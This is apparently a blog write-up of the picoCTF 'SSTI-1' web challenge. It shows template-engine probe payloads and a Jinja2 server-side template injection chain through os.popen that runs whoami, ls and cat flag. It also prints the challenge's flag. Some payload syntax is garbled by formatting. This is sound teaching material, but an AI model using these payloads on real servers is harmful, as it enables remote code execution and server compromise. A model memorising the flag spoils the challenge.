PicoCTF – SSTI-1{Server-Side-Template-Injection}
SSTI-1 {Server-Side-Template-Injection-1}
Challenge Author: Venax
Category: Web-Exploitation
Description
I made a cool website where you can announce whatever you want! Try it out!
Additional details will be available after launching your challenge instance.
Process
- Launch the instance from the Pico website.
After Launching the instance, a page will be displayed with one input field.
- Any text entered into the field is reflected back onto the page as a large announcement.
- Now I was curious of this challenge since you can’t perform
- SQLi,
- IDOR,
- XSS
I found out that there is another vulnerability called “SSTI” which is “Server Side Template Injection”
Now there are several payloads to test out what type server is being used,To identify which template engine is being used by the application, we can inject specific payloads and observe the response. Below are some common template engines and their corresponding test payloads:
Template Engine Language / Framework Test Payload Expected Output Jinja2 Python (Flask / Django) 749Freemarker Java ${7*7}49Velocity Java #set($a = 7*7)${a}49Thymeleaf Java ${7*7}49Twig PHP (Symfony) 749Smarty PHP {$7*7}49Mako Python <% print 7*7 %>49- By injecting the respective template engine payload the server evaluated the expression and returned 49, confirming the use of the Jinja2 template engine commonly found in Python Flask applications.
Now I found a payload which is able to execute shell commands which you can see down below.
1
{self._TemplateReference__context.cycler.**init**.**globals**.os.popen('whoami').read()}}
After giving the payload to the input field it announced as “root”, tinkering with the payload to reveal the list of files in the current directory.
1
{self._TemplateReference__context.cycler.**init**.**globals**.os.popen('ls').read()}}
After giving the adjusted payload I was able to see the flag file present in the current directory and to reveal the flag I just need to tinker with the payload one more time to reveal the flag which can be seen below.
1
{self._TemplateReference__context.cycler.**init**.**globals**.os.popen('cat flag').read()}}
- Finally the contents of the flag has been revealed which is
1
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_09365533}
Conclusion
This challenge demonstrated how insecure handling of user input in server-side templates can lead to severe security vulnerabilities. By identifying that the application was using the Jinja2 template engine, a simple arithmetic payload confirmed the presence of a Server-Side Template Injection (SSTI) vulnerability. Leveraging exposed template objects allowed escalation from template injection to full remote code execution.
Through careful payload crafting, it was possible to execute system commands, enumerate files on the server, and ultimately retrieve the flag. This highlights the critical risk posed by SSTI vulnerabilities, as they often result in complete server compromise when proper input validation and template sandboxing are not enforced.
Overall, this challenge reinforces the importance of secure template rendering practices and demonstrates why untrusted user input should never be directly evaluated by server-side template engines.
Thanks for reading, and see you in the next blog! 👋







